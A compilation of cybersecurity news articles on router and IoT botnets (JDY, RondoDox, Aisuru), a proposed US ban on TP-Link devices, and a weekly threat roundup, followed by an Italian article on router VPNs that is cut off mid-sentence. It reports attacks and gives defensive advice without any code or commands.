Cybersecurity researchers have warned of a "resurgence and expansion" of JDY, a covert network associated with China-nexus state-sponsored threat actors. "The JDY botnet comprises over 1,500 SOHO [small office and home office] and IoT devices and operates as a centrally controlled, high-performance scanner used to discover, fingerprint, and continuously map exposed services at scale," Lumen's Black Lotus Labs said in a report shared with The Hacker News. JDY was first flagged as a cluster within another botnet codenamed KV-botnet in mid-December 2023. Primarily used for broader scanning against internet targets, the stealthy network comprising compromised SOHO routers, firewalls, and IoT devices has been put to use by Chinese hacking groups like Volt Typhoon. Following KV-botnet's takedown by the U.S. government in early 2024, the botnet operators began making behavioral changes to the network, with the second KV cluster largely going offline. It's suspected that the botnet is offered by the operators to various hacking outfits, while carrying out reconnaissance and targeting on their own. The latest findings from Black Lotus Labs show that the malware has expanded in scope to infect a broader range of devices and act as a conduit to feed "structured reconnaissance data" into a larger scanning ecosystem for follow-on target identification and exploitation. Specifically, the JDY cluster is being used to conduct targeted scanning and service fingerprinting with an aim to flag vulnerable infrastructure following public disclosures. This points to an industrialized reconnaissance effort, the results of which are leveraged by Chinese nation-state groups. This has been complemented by a growth in the botnet's size, which has surged from 650 bots at the start of January 2024 to more than 1,500 compromised devices. Most of the hacked nodes are located in the U.S. and Brazil, followed by Europe and Asia. Black Lotus Labs told The Hacker News that the cluster in Brazil is reflective of the fact that "we're seeing more and more botnets made up of Brazilian victims these days." Where previously the cluster primarily featured Cisco RV320 and RV325 routers, the present makeup of the botnet is a lot more diverse, including devices from Araknis, Mimosa Networks, Ubiquiti, Draytek, Hikvision, and Linksys. The vast majority of the victim devices are assessed to have reached end-of-life (EoL) with known vulnerabilities. Although the exact nature of the security flaws remains unclear, it's suspected to involve the following based on the specific device models that are being exploited - Cisco RV042 - Possibly vulnerable to flaws like CVE-2023-20118 DrayTek Vigor3900 Series - Possibly vulnerable to flaws like CVE-2022-32548 Araknis AN-300-RT-4L2W - Possibly vulnerable to flaws like CVE-2023-24738 Hikvision IP cameras - Possibly vulnerable to flaws like CVE-2021-36260 Linksys LRT224 - No known CVEs, but alleged zero-days have been sold on the dark web "The botnet's large number of U.S.-based SOHO/IoT devices enables the botnet operators to evade defenses and traditional IP-based controls, such as geofencing, IP reputation-based detection, and static blocklists," Black Lotus Labs said. "By distributing their scanning and reconnaissance activity across a wide range of IP addresses, the operators make it less likely that any single IP will be labeled as a scanner and blocked. Additionally, using compromised SOHO and IoT devices helps this activity blend in with legitimate user traffic." The architecture that powers the botnet is best described as layered: the operators use Tor nodes to manage infected infrastructure, including both the command-and-control (C2) and payload servers. The C2 servers direct the bots to perform targeted reconnaissance and system profiling, as opposed to indiscriminate scanning. Results of the scans are sent to central servers for ongoing intelligence gathering in an effort to further Chinese threat actors' objectives. Attack chains weaponize newly disclosed vulnerabilities in edge devices (e.g., CVE-2026-35616) to deliver a shell script dropper that checks if the malware is already active, and if not, proceeds to download the primary payload based on the detected processor architecture (e.g., mips, mips64, mipsel, or mipsel64). Once the malware is launched, it's deleted from disk. The malware that facilitates scanning and target reconnaissance is designed to fingerprint the host, receive scanning tasks from a central C2 server, carry out high-volume TCP, SSL, UDP, and ICMP-assisted probing, capture responses (TLS certificates, metadata, etc.), and report the results back to the dispatch server. The goal is to conduct infrastructure reconnaissance rather than exploitation. A noteworthy functionality of the malware is its ability to adapt its scanning methodology based on its privileges on the local system. If it can open a raw socket, an indication of root privileges, it initiates high-speed SYN scanning using custom-crafted TCP packets. If raw sockets are unavailable or if the task is a web scan, the scanning engine resorts to using standard TCP and TLS connections or employs protocols like UDP and ICMP. This activity most likely informs asset discovery, vulnerability-targeting pipelines, and downstream exploitation or attack-orchestration systems, the cybersecurity company said. "JDY demonstrates how IoT/SOHO botnets and covert networks of compromised devices are being used for rapid vulnerability exploitation," the company said. "JDY's growth and continued operation illustrate how modern reconnaissance networks persist despite takedowns and adapt as a durable capability within a broader adversary ecosystem." "JDY's evolution from a supporting component of the KV-botnet to an independent, high-performance reconnaissance capability demonstrates that disruption of individual nodes or clusters does not eliminate the underlying capability. The capability persists, adapts, and continues to provide adversaries with timely targeting data, often within hours of vulnerability disclosure." (The story was updated after publication to include additional insights from Lumen Black Lotus Labs.)

The JDY botnet, a malware network previously associated with Chinese threat actors like Volt Typhoon, has significantly expanded its targeting scope and reconnaissance efforts. According to researchers at Black Lotus Labs by Lumen, who have been monitoring its activity, JDY maintains a strong focus on the United States, where many of its compromised devices are located and where it heavily targets military and associated networks. The security firm notes that JDY has grown from roughly 650 active bots in January 2024 to over 1,500 compromised SOHO and IoT devices today. While the numbers seem low, it's important to note that JDY isn't an exploitation framework or a DDoS botnet that requires large swarms to accumulate firepower, but is instead a distributed scanning and fingerprinting network that helps its operators locate targets vulnerable to newly disclosed flaws. "Analysis of this activity shows a clear focus on identifying vulnerable infrastructure shortly after public vulnerability disclosures, suggesting that reconnaissance output is rapidly operationalized by China-nexus advanced persistent threat (APT) actors," reads the Black Lotus Labs report. "This targeted focus has been observed across a range of sectors, with the U.S. military and associated entities as the most prominent." CISA has previously warned about the risk Volt Typhoon operatives pose to unprotected SOHO routers, urging network device vendors to eliminate vulnerabilities in SOHO router web management interfaces (WMIs) during the design and development phases. The JDY botnet is designed to conduct service discovery, service banner grabbing, TLS certificate collection, protocol fingerprinting, and flaw-focused reconnaissance. Among the compromised devices are those from Cisco, Araknis, Mimosa Networks, Ubiquiti, DrayTek, Hikvision, and Linksys, for MIPS, MIPS64, MIPSEL, and MIPSEL64 architectures. The threat actors are quick to target newly disclosed vulnerabilities, with Lumen researchers observing JDY scans targeting CVE-2026-35616 shortly after Fortinet publicly disclosed the FortiClient EMS flaw. The operators control the botnet through hidden Tor services, which also serve as command-and-control (C2) infrastructure. The open-source reverse-shell and host-management framework Platypus is also used in some cases. The malware registers with a central "Dispatch Service" and receives scanning assignments, which it executes, compresses the results, and sends them back to the C2. The scanning module supports the following: TCP scanning SSL/TLS scanning UDP scanning ICMP probing Banner collection TLS certificate harvesting Service fingerprinting using downloadable rule sets The botnet client repeats the same cycle until the operator specifically orders it to stop. The TCP scanning function is one of the most technically interesting, say the researchers, explaining that, when JDY has sufficient privileges, it performs much faster and stealthier raw SYN scanning. "If the malware can open a raw socket, which generally requires root or administrative privileges, it initiates high-speed SYN scanning using custom-crafted TCP packets," explains the report. "These custom packets use a fixed source port of 19000, increment the destination ports one at a time, and batch-process thousands of scan targets." As JDY botnet activity increases, organizations should ensure routers, firewalls, and IoT devices are running the latest security updates and patches to prevent them from being recruited into reconnaissance networks. Defenders should also reduce their external attack surface by disabling unnecessary internet-exposed administrative interfaces, restricting remote management access, replacing default credentials, and monitoring for unusual outbound scanning activity originating from edge devices. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

The RondoDox botnet has been observed exploiting the critical React2Shell flaw (CVE-2025-55182) to infect vulnerable Next.js servers with malware and cryptominers. First documented by Fortinet in July 2025, RondoDox is a large-scale botnet that targets multiple n-day flaws in global attacks. In November, VulnCheck spotted new RondoDox variants that featured exploits for CVE-2025-24893, a critical remote code execution (RCE) vulnerability in the XWiki Platform. A new report from cybersecurity company CloudSEK notes that RondoDox started scanning for vulnerable Next.js servers on December 8 and began deploying botnet clients three days later. React2Shell is an unauthenticated remote code execution vulnerability that can be exploited via a single HTTP request and affects all frameworks that implement the React Server Components (RSC) 'Flight' protocol, including Next.js. The flaw has been leveraged by several threat actors to breach multiple organizations. North Korean hackers exploited React2Shell to deploy a new malware family named EtherRAT. As of December 30, the Shadowserver Foundation reports detecting over 94,000 internet-exposed assets vulnerable to React2Shell. CloudSEK says that RondoDox has passed through three distinct operational phases this year: Reconnaissance and vulnerability testing from March to April 2025 Automated web app exploitation from April to June 2025 Large-scale IoT botnet deployment from July to today Regarding React2Shell, the researchers report that RondoDox has focused its exploitation around the flaw significantly lately, launching over 40 exploit attempts within six days in December. During this operational phase, the botnet conducts hourly IoT exploitation waves targeting Linksys, Wavlink, and other consumer and enterprise routers to enroll new bots. After probing potentially vulnerable servers, CloudSEK says that RoundDox started to deploy payloads that included a coinminer (/nuts/poop), a botnet loader and health checker (/nuts/bolts), and a variant of Mirai (/nuts/x86). The ‘bolts’ component removes competing botnet malware from the host, enforces persistence via /etc/crontab, and kills non-whitelisted processes every 45 seconds, the researchers say. CloudSEK provides a set of recommendations for companies to protect against this RondoDox activity, among them auditing and patching Next.js Server Actions, isolating IoT devices into dedicated virtual LANs, and monitoring for suspicious processes being executed. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Microsoft said today that the Aisuru botnet hit its Azure network with a 15.72 terabits per second (Tbps) DDoS attack, launched from over 500,000 IP addresses. The attack used extremely high-rate UDP floods that targeted a specific public IP address in Australia, reaching nearly 3.64 billion packets per second (bpps). "The attack originated from Aisuru botnet. Aisuru is a Turbo Mirai-class IoT botnet that frequently causes record-breaking DDoS attacks by exploiting compromised home routers and cameras, mainly in residential ISPs in the United States and other countries," said Azure Security senior product marketing manager Sean Whalen. "These sudden UDP bursts had minimal source spoofing and used random source ports, which helped simplify traceback and facilitated provider enforcement." Cloudflare linked the same botnet to a record-breaking 22.2 terabits per second (Tbps) DDoS attack that reached 10.6 billion packets per second (Bpps) and was mitigated in September 2025. This attack lasted only 40 seconds but was roughly equivalent to streaming one million 4K videos simultaneously. One week earlier, the XLab research division of Chinese cybersecurity company Qi'anxin attributed another 11.5 Tbps DDoS attack to the Aisuru botnet, saying that it was controlling around 300,000 bots at the time. The botnet targets security vulnerabilities in IP cameras, DVRs/NVRs, Realtek chips, and routers from T-Mobile, Zyxel, D-Link, and Linksys. As XLab researchers said, it suddenly ballooned in size in April 2025 after its operators breached a TotoLink router firmware update server and infected approximately 100,000 devices. Infosec journalist Brian Krebs reported earlier this month that Cloudflare removed multiple domains linked to the Aisuru botnet from its public "Top Domains" rankings of the most frequently requested websites (based on DNS query volume) after they began overtaking legitimate sites, such as Amazon, Microsoft, and Google. The company stated that Aisuru's operators were deliberately flooding Cloudflare's DNS service (1.1.1.1) with malicious query traffic to boost their domain's popularity while undermining trust in the rankings. Cloudflare CEO Matthew Prince also confirmed that the botnet's behavior was severely distorting the ranking system and added that Cloudflare now redacts or completely hides suspected malicious domains to avoid similar incidents in the future. As Cloudflare revealed in its 2025 Q1 DDoS Report in April, it mitigated a record number of DDoS attacks last year, with a 198% quarter-over-quarter jump and a massive 358% year-over-year increase. In total, it blocked 21.3 million DDoS attacks targeting its customers throughout 2024, as well as another 6.6 million attacks targeting its own infrastructure during an 18-day multi-vector campaign. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

The U.S. government is reportedly preparing to ban the sale of wireless routers and other networking gear from TP-Link Systems, a tech company that currently enjoys an estimated 50% market share among home users and small businesses. Experts say while the proposed ban may have more to do with TP-Link’s ties to China than any specific technical threats, much of the rest of the industry serving this market also sources hardware from China and ships products that are insecure fresh out of the box. The Washington Post recently reported that more than a half-dozen federal departments and agencies were backing a proposed ban on future sales of TP-Link devices in the United States. The story said U.S. Department of Commerce officials concluded TP-Link Systems products pose a risk because the U.S.-based company’s products handle sensitive American data and because the officials believe it remains subject to jurisdiction or influence by the Chinese government. TP-Link Systems denies that, saying that it fully split from the Chinese TP-Link Technologies over the past three years, and that its critics have vastly overstated the company’s market share (TP-Link puts it at around 30 percent). TP-Link says it has headquarters in California, with a branch in Singapore, and that it manufactures in Vietnam. The company says it researches, designs, develops and manufactures everything except its chipsets in-house. TP-Link Systems told The Post it has sole ownership of some engineering, design and manufacturing capabilities in China that were once part of China-based TP-Link Technologies, and that it operates them without Chinese government supervision. “TP-Link vigorously disputes any allegation that its products present national security risks to the United States,” Ricca Silverio, a spokeswoman for TP-Link Systems, said in a statement. “TP-Link is a U.S. company committed to supplying high-quality and secure products to the U.S. market and beyond.” Cost is a big reason TP-Link devices are so prevalent in the consumer and small business market: As this February 2025 story from Wired observed regarding the proposed ban, TP-Link has long had a reputation for flooding the market with devices that are considerably cheaper than comparable models from other vendors. That price point (and consistently excellent performance ratings) has made TP-Link a favorite among Internet service providers (ISPs) that provide routers to their customers. In August 2024, the chairman and the ranking member of the House Select Committee on the Strategic Competition Between the United States and the Chinese Communist Party called for an investigation into TP-Link devices, which they said were found on U.S. military bases and for sale at exchanges that sell them to members of the military and their families. “TP-Link’s unusual degree of vulnerabilities and required compliance with PRC law are in and of themselves disconcerting,” the House lawmakers warned in a letter (PDF) to the director of the Commerce Department. “When combined with the PRC government’s common use of SOHO [small office/home office] routers like TP-Link to perpetrate extensive cyberattacks in the United States, it becomes significantly alarming.” The letter cited a May 2023 blog post by Check Point Research about a Chinese state-sponsored hacking group dubbed “Camaro Dragon” that used a malicious firmware implant for some TP-Link routers to carry out a sequence of targeted cyberattacks against European foreign affairs entities. Check Point said while it only found the malicious firmware on TP-Link devices, “the firmware-agnostic nature of the implanted components indicates that a wide range of devices and vendors may be at risk.” In a report published in October 2024, Microsoft said it was tracking a network of compromised TP-Link small office and home office routers that has been abused by multiple distinct Chinese state-sponsored hacking groups since 2021. Microsoft found the hacker groups were leveraging the compromised TP-Link systems to conduct “password spraying” attacks against Microsoft accounts. Password spraying involves rapidly attempting to access a large number of accounts (usernames/email addresses) with a relatively small number of commonly used passwords. TP-Link rightly points out that most of its competitors likewise source components from China. The company also correctly notes that advanced persistent threat (APT) groups from China and other nations have leveraged vulnerabilities in products from their competitors, such as Cisco and Netgear. But that may be cold comfort for TP-Link customers who are now wondering if it’s smart to continue using these products, or whether it makes sense to buy more costly networking gear that might only be marginally less vulnerable to compromise. Almost without exception, the hardware and software that ships with most consumer-grade routers includes a number of default settings that need to be changed before the devices can be safely connected to the Internet. For example, bring a new router online without changing the default username and password and chances are it will only take a few minutes before it is probed and possibly compromised by some type of Internet-of-Things botnet. Also, it is incredibly common for the firmware in a brand new router to be dangerously out of date by the time it is purchased and unboxed. Until quite recently, the idea that router manufacturers should make it easier for their customers to use these products safely was something of an anathema to this industry. Consumers were largely left to figure that out on their own, with predictably disastrous results. But over the past few years, many manufacturers of popular consumer routers have begun forcing users to perform basic hygiene — such as changing the default password and updating the internal firmware — before the devices can be used as a router. For example, most brands of “mesh” wireless routers — like Amazon’s Eero, Netgear’s Orbi series, or Asus’s ZenWifi — require online registration that automates these critical steps going forward (or at least through their stated support lifecycle). For better or worse, less expensive, traditional consumer routers like those from Belkin and Linksys also now automate this setup by heavily steering customers toward installing a mobile app to complete the installation (this often comes as a shock to people more accustomed to manually configuring a router). Still, these products tend to put the onus on users to check for and install available updates periodically. Also, they’re often powered by underwhelming or else bloated firmware, and a dearth of configurable options. Of course, not everyone wants to fiddle with mobile apps or is comfortable with registering their router so that it can be managed or monitored remotely in the cloud. For those hands-on folks — and for power users seeking more advanced router features like VPNs, ad blockers and network monitoring — the best advice is to check if your router’s stock firmware can be replaced with open-source alternatives, such as OpenWrt or DD-WRT. These open-source firmware options are compatible with a wide range of devices, and they generally offer more features and configurability. Open-source firmware can even help extend the life of routers years after the vendor stops supporting the underlying hardware, but it still requires users to manually check for and install any available updates. Happily, TP-Link users spooked by the proposed ban may have an alternative to outright junking these devices, as many TP-Link routers also support open-source firmware options like OpenWRT. While this approach may not eliminate any potential hardware-specific security flaws, it could serve as an effective hedge against more common vendor-specific vulnerabilities, such as undocumented user accounts, hard-coded credentials, and weaknesses that allow attackers to bypass authentication. Regardless of the brand, if your router is more than four or five years old it may be worth upgrading for performance reasons alone — particularly if your home or office is primarily accessing the Internet through WiFi. NB: The Post’s story notes that a substantial portion of TP-Link routers and those of its competitors are purchased or leased through ISPs. In these cases, the devices are typically managed and updated remotely by your ISP, and equipped with custom profiles responsible for authenticating your device to the ISP’s network. If this describes your setup, please do not attempt to modify or replace these devices without first consulting with your Internet provider.

Cybercrime has stopped being a problem of just the internet — it’s becoming a problem of the real world. Online scams now fund organized crime, hackers rent violence like a service, and even trusted apps or social platforms are turning into attack vectors. The result is a global system where every digital weakness can be turned into physical harm, economic loss, or political leverage. Understanding these links is no longer optional — it’s survival. For a full look at the most important security news stories of the week, keep reading. Hidden flaws resurface in Windows coreDetails have emerged about three now-patched security vulnerabilities in Windows Graphics Device Interface (GDI) that could enable remote code execution and information disclosure. These issues – CVE-2025-30388, CVE-2025-53766, and CVE-2025-47984 – involve out-of-bounds memory access triggered through malformed enhanced metafile (EMF) and EMF+ records that can cause memory corruption during image rendering. They are rooted in gdiplus.dll and gdi32full.dll, which process vector graphics, text, and print operations. They were addressed by Microsoft in the Patch Tuesday updates in May, July, and August 2025 in gdiplus.dll versions 10.0.26100.3037 through 10.0.26100.4946 and gdi32full.dll version 10.0.26100.4652. "Security vulnerabilities can persist undetected for years, often resurfacing due to incomplete fixes," Check Point said. "A particular information disclosure vulnerability, despite being formally addressed with a security patch, remained active for years due to the original issue receiving only a partial fix. This example underscores a basic conundrum for researchers: introducing a vulnerability is often easy, fixing it can be difficult, and verifying that a fix is both thorough and effective is even more challenging." Syndicate staffed by fake workers net millionsThree Chinese nationals, Yan Peijian, 39, Huang Qinzheng, 37, and Liu Yuqi, 33, were convicted and sentenced to a little over two years in prison in Singapore for their involvement in hacking into overseas gambling websites and companies for the purposes of cheating during gameplay and stealing databases of personally identifiable information for trade. The three individuals, part of a group of five Chinese nationals and one Singaporean man, were originally arrested and charged in September 2024. "The three accused persons were tasked by the syndicate's group leader to probe sites of interest for system vulnerabilities, conduct penetration attacks, and exfiltrate personal information from the compromised systems," the Singapore Police Force said. "Further investigations revealed that the syndicate possessed foreign government data, including confidential communications." The three defendants were also found to be in possession of tools like PlugX and "hundreds of different remote access trojans" to conduct cyber attacks. According to Channel News Asia, the three men entered the country on fake work permits in 2022 and worked for a 38-year-old Ni-Vanuatu citizen named Xu Liangbiao. They were paid about $3 million for their work. Xu, the alleged leader, is said to have left Singapore in August 2023. His present whereabouts are unknown. AI speeds triage but human skill still neededCheck Point has demonstrated a way by which ChatGPT can be used for malware analysis and flip the balance when it comes to taking apart sophisticated trojans like XLoader, which is designed such that its code decrypts only at runtime and is protected by multiple layers of encryption. Specifically, the research found that cloud-based static analysis with ChatGPT can be combined with Model Context Protocol (MCP) for runtime key extraction and live debugging validation. "The use of AI doesn't eliminate the need for human expertise," security researcher Alexey Bukhteyev said. "XLoader's most sophisticated protections, such as scattered key derivation logic and multi-layer function encryption, still require manual analysis and targeted adjustments. But the heavy lifting of triage, deobfuscation, and scripting can now be accelerated dramatically. What once took days can now be compressed into hours." RondoDox goes from DVRs to enterprise-wide weaponThe malware known as RondoDox has witnessed a 650% increase in exploitation vectors, expanding from niche DVR targeting to enterprise. This includes more than 15 new exploitation vectors targeting LB-LINK, Oracle WebLogic Server, PHPUnit, D-Link, NETGEAR, Linksys, Tenda, TP-Link devices, as well as a new command-and-control (C2) infrastructure on compromised residential IP. Once dropped, the malware proceeds to eliminate competition by killing existing malware such as XMRig and other botnets, disabling SELinux and AppArmor, and running the main payload that's compatible with the system architecture. DHS pushes sweeping biometric rule for immigrationThe U.S. Department of Homeland Security (DHS) has proposed an amendment to existing regulations governing the use and collection of biometric information. The agency has put forth requirements for a "robust system for biometrics collection, storage, and use related to adjudicating immigration benefits and other requests and performing other functions necessary for administering and enforcing immigration and naturalization laws." As part of the plan, any individual filing or associated with a benefit request or other request or collection of information, including U.S. citizens, U.S. nationals, and lawful permanent residents, must submit biometrics, regardless of their age, unless DHS otherwise exempts the requirement. The agency said using biometrics for identity verification and management will assist DHS's efforts to combat trafficking, confirm the results of biographical criminal history checks, and deter fraud. The DHS is taking comments on the proposal until January 2, 2026. Researchers uncover large-scale AWS abuse networkCybersecurity researchers have discovered a new large-scale attack infrastructure dubbed TruffleNet that's built around the open-source tool TruffleHog, which is used to systematically test compromised credentials and perform reconnaissance across Amazon Web Services' (AWS) environments. "In one incident involving multiple compromised credentials, we recorded activity from more than 800 unique hosts across 57 distinct Class C networks," Fortinet said. "This infrastructure was characterized by the use of TruffleHog, a popular open-source secret-scanning tool, and by consistent configurations, including open ports and the presence of Portainer," an open-source management UI for Docker and Kubernetes that simplifies container deployment and orchestration. In these activities, the threat actors make calls to the GetCallerIdentity and GetSendQuota APIs to test whether the credentials are valid and abuse the Simple Email Service (SES). While no follow-on actions were observed by Fortinet, it's assessed that the attacks originate from a possibly tiered infrastructure, with some nodes dedicated to reconnaissance and others reserved for later stages of the attack. Also observed alongside the TruffleNet reconnaissance activity is the abuse of SES for Business Email Compromise (BEC) attacks. It's currently not known if these are directly connected to each other. The development comes as Fortinet revealed that financially motivated adversaries are targeting a broad range of sectors but relying on the same low-complexity, high-return methods, typically gaining initial access through compromised credentials, external remote services like VPNs, and exploitation of public-facing applications. These attacks are often characterized by the use of legitimate remote access tools for secondary persistence and leveraging them for data exfiltration to their infrastructure. FIN7 deploys stealthy SSH backdoor for persistencePRODAFT has revealed that the financially motivated threat actor known as FIN7 (aka Savage Ladybug) has deployed since 2022 a "Windows specific SSH-based backdoor by packaging a self-contained OpenSSH toolset and an installer named install.bat." The backdoor provides attackers with persistent remote access and reliable file exfiltration using an outbound reverse SSH tunnel and SFTP. Cloudflare fends off massive DDoS surge on election dayWeb infrastructure company Cloudflare said Moldova's Central Election Commission (CEC) experienced significant cyber attacks in the days leading to the country's Parliament election on September 28. The CEC also witnessed a "series of concentrated, high-volume (DDoS) attacks strategically timed throughout the day" on the day of the elections. Attacks also targeted other election-related, civil society, and news websites. "These attack patterns mirrored those against the election authority, suggesting a coordinated effort to disrupt both official election processes and the public information channels voters rely on," it said, adding it mitigated over 898 million malicious requests directed at the CEC over a 12-hour period between 09:06:00 UTC and 21:34:00 UTC. Silent Lynx exploits diplomacy themes to breach targetsThe threat actor tracked as Silent Lynx (aka Cavalry Werewolf, Comrade Saiga, ShadowSilk, SturgeonPhisher, and Tomiris) has been observed targeting government entities, diplomatic missions, mining firms, and transportation companies. In one campaign, the adversary singled out organizations involved in Azerbaijan-Russian diplomacy, using phishing lures related to the CIS summit held in Dushanbe around mid-October 2025 to deliver the open-source Ligolo-ng reverse shell and a loader called Silent Loader that's responsible for running a PowerShell script to connect to a remote server. Also deployed is a C++ implant named Laplas that's designed to connect to an external server and receive additional commands for execution via "cmd.exe." Another payload of note is SilentSweeper, a .NET backdoor that extracts and runs a PowerShell Script that acts as a reverse shell. The second campaign, on the other hand, aimed at China-Central Asia relations to distribute a RAR archive that led to the deployment of SilentSweeper. The activity has been codenamed Operation Peek-a-Baku by Seqrite Labs. Doctor Web, in an independent analysis, said it investigated a phishing attack mounted by the threat actor targeting a government-owned organization within the Russian Federation to deliver reverse shell backdoors with the goal of collecting confidential information as well as network configuration data. Cyber gangs blend digital and physical extortion across EuropeEuropean organizations witnessed a 13% increase in ransomware over the past year, with entities in the U.K., Germany, Italy, France, and Spain most affected. A review of data leak sites over the period September 2024–August 2025 has revealed that the number of European victims has increased annually to 1,380. The most targeted sectors were manufacturing, professional services, technology, industrials, engineering, and retail. Since January 2024, over 2,100 victims across Europe have been named on extortion leak sites, with 92% involving file encryption and data theft. Akira (167), LockBit (162), RansomHub (141), INC, Lynx, and Sinobi were the most successful ransomware groups over the period. CrowdStrike said it's also seeing a surge in violence-as-a-service offerings across the continent with the goal of securing big payouts, including physical cryptocurrency theft. Cybercriminals connected to The Com, a loose-knit collective of young, English-speaking hackers, and a Russia-affiliated group called Renaissance Spider have coordinated physical attacks, kidnapping, and arson through Telegram-based networks. Renaissance Spider, which has been active since October 2017, is also said to have emailed fake bomb threats to European entities, likely aiming to undermine support for Ukraine. There have been 17 of these kinds of attacks since January 2024, out of which 13 took place in France. Fake ChatGPT and WhatsApp apps exploit user trustCybersecurity researchers have discovered apps that use the branding of established services like OpenAI's ChatGPT and DALL-E, and WhatsApp. While the fake DALL-E Android app ("com.openai.dalle3umagic") is used for ad traffic generation, the ChatGPT wrapper app connects to legitimate OpenAI APIs while identifying itself as an "unofficial interface" for the artificial intelligence chatbot. Although not outright malicious, impersonation without transparency can expose users to unintended security risks. The counterfeit WhatsApp app, named WhatsApp Plus, masquerades as an upgraded version of the messaging platform, but contains stealthy payloads that can harvest contacts, SMS messages, and call logs. "The flood of cloned applications reflects a deeper problem: brand trust has become a vector for exploitation," Appknox said. "As AI and messaging tools dominate the digital landscape, bad actors are learning that mimicking credibility is often more profitable than building new malware from scratch." Phishers weaponize trusted email accounts post-breachThreat actors are continuing to launch phishing campaigns after their initial compromise by leveraging compromised internal email accounts to expand their reach both within the compromised organization as well as externally to partner entities. "The follow-on phishing campaigns were primarily oriented towards credential harvesting," Cisco Talos said. "Looking forward, as defenses against phishing attacks improve, adversaries are seeking ways to enhance these emails’ legitimacy, likely leading to the increased use of compromised accounts post-exploitation." Asia-wide phishing surge uses multilingual luresRecent phishing campaigns across East and Southeast Asia have been found to leverage multilingual ZIP file lures and shared web templates to target government and financial organizations. "These operations are characterized by multilingual web templates, region-specific incentives, and adaptive payload delivery mechanisms, demonstrating a clear shift toward scalable and automation-driven infrastructure," Hunt.io said. "From China and Taiwan to Japan and Southeast Asia, the adversaries have continuously repurposed templates, filenames, and hosting patterns to sustain their operations while evading conventional detection. The strong overlap in domain structures, webpage titles, and scripting logic indicates a shared toolkit or centralized builder designed to automate payload delivery at scale. This investigation links multiple clusters to a unified phishing toolkit used across Asia." Remote kill-switch fears spark probe into Chinese busesAuthorities in Denmark have launched an investigation following a discovery that electric buses manufactured by the Chinese company Yutong had remote access to the vehicles' control systems and allowed them to be remotely deactivated. This has raised security concerns that the loophole could be exploited to affect buses while in transit. "The testing revealed risks that we are now taking measures against," Bernt Reitan Jenssen, chief executive of the Norwegian public transport authority Ruter, was quoted as saying. "National and local authorities have been informed and must assist with additional measures at a national level." Cloudflare scrubs botnet domains from global rankingsCloudflare has scrubbed domains associated with the massive AISURU botnet from its top domain rankings. According to security journalist Brian Krebs, AISURU's operators are using the botnet to boost their malicious domain rankings, while simultaneously targeting the company's domain name system (DNS) service. China delivers harsh verdict in cross-border scam crackdownA court in China has sentenced five members of a Myanmar crime syndicate to death for their roles in running industrial-scale scamming compounds near the border with China. The death sentences were handed out to the syndicate boss Bai Suocheng and his son Bai Yingcang, as well as Yang Liqiang, Hu Xiaojiang, and Chen Guangyi. Five others were sentenced to life. In all, 21 members and associates of the syndicate were convicted of fraud, homicide, injury, and other crimes. According to Xinhua, the defendants ran 41 industrial parks to facilitate telecommunications and online fraud at scale. The harsh penalty is the latest in a series of actions governments across the world have taken to combat the rise of cyber-enabled scam centers in Southeast Asia, where thousands are trafficked under the pretext of well-paying jobs, and are trapped, abused, and forced to defraud others in criminal operations worth billions. In September 2025, 11 members of the Ming crime family arrested during a 2023 cross-border crackdown were sentenced to death. Massive global credit card scam busted in €300M stingA coordinated law enforcement operation against a massive credit card fraud scheme dubbed Chargeback has led to the arrest of 18 suspects. The arrested individuals are German, Lithuanian, Dutch, Austrian, Danish, American, and Canadian nationals. "The alleged perpetrators are suspected of setting up an intricate scheme of fake online subscriptions to dating, pornography, and streaming services, among others, which were paid for by credit card," Eurojust said. "Among those arrested are five executive officials from four German payment service providers. The perpetrators deliberately kept monthly credit card payments to their accounts below the maximum of EUR 50 to avoid arousing suspicion among victims about high transfer amounts." The illicit scam is estimated to have defrauded at least €300 million from over 4.3 million credit card users with 19 million accounts in 193 countries between 2016 and 2021. The total value of attempted fraud against card users amounts to more than €750 million. Europol said the suspects used numerous shell companies, primarily registered in the U.K. and Cyprus, to conceal their activities. Every hack or scam has one thing in common — someone takes advantage of trust. As security teams improve their defenses, attackers quickly find new tricks. The best way to stay ahead isn’t to panic, but to stay informed, keep learning, and stay alert. Cybersecurity keeps changing fast — and our understanding needs to keep up.

L’implementazione di un client VPN a livello di router rappresenta una soluzione avanzata per la gestione centralizzata della sicurezza e della privacy di una rete domestica o di piccole dimensioni. Tale configurazione garantisce che tutto il traffico in uscita dalla rete sia automaticamente cifrato e instradato attraverso il server VPN selezionato. Indice degli argomenti Installare una VPN direttamente sul router significa estendere la protezione a tutta la rete domestica o aziendale in modo automatico e continuo. Invece di configurare la VPN singolarmente su ogni dispositivo, il traffico Internet di tutti i terminali collegati al router – computer, smartphone, smart TV, console, dispositivi IoT – viene instradato attraverso il tunnel criptato della VPN. Questo approccio centralizzato offre un livello di sicurezza superiore e garantisce che ogni connessione sia protetta fin dal punto di accesso alla rete. Si tratta di una soluzione particolarmente utile per famiglie, uffici o ambienti in cui si utilizzano molti dispositivi diversi, perché assicura protezione anche a quelli che non permettono l’installazione diretta di una VPN, come alcune smart TV o dispositivi con sistemi operativi chiusi. Una VPN installata sul router agisce come un filtro di sicurezza unico per tutto il traffico in entrata e in uscita. Tutti i dispositivi connessi alla rete beneficiano automaticamente della crittografia dei dati e della modifica dell’indirizzo IP, senza dover installare o attivare nulla manualmente. Ciò riduce il rischio di dimenticanze o configurazioni errate e protegge anche i dispositivi che normalmente non supportano applicazioni VPN dedicate. Per esempio, una smart TV o una console di gioco, che di solito non consentono l’uso di software di sicurezza, possono così accedere a contenuti in streaming internazionali e navigare con la stessa protezione di un computer. Questa impostazione centralizzata è particolarmente apprezzata anche da chi desidera mantenere una rete domestica uniforme e più semplice da gestire. Molti utenti scelgono di acquistare router già configurati per l’uso con una VPN, una soluzione che elimina le difficoltà tecniche e garantisce un funzionamento immediato. I cosiddetti router preconfigurati sono dispositivi venduti con la VPN già integrata nel firmware, in modo che la connessione protetta sia attiva non appena il router viene collegato alla rete. Provider come NordVPN, Surfshark ed ExpressVPN offrono questa possibilità in collaborazione con produttori specializzati, come Asus, Linksys e Netgear. Questi modelli sono pensati per garantire prestazioni 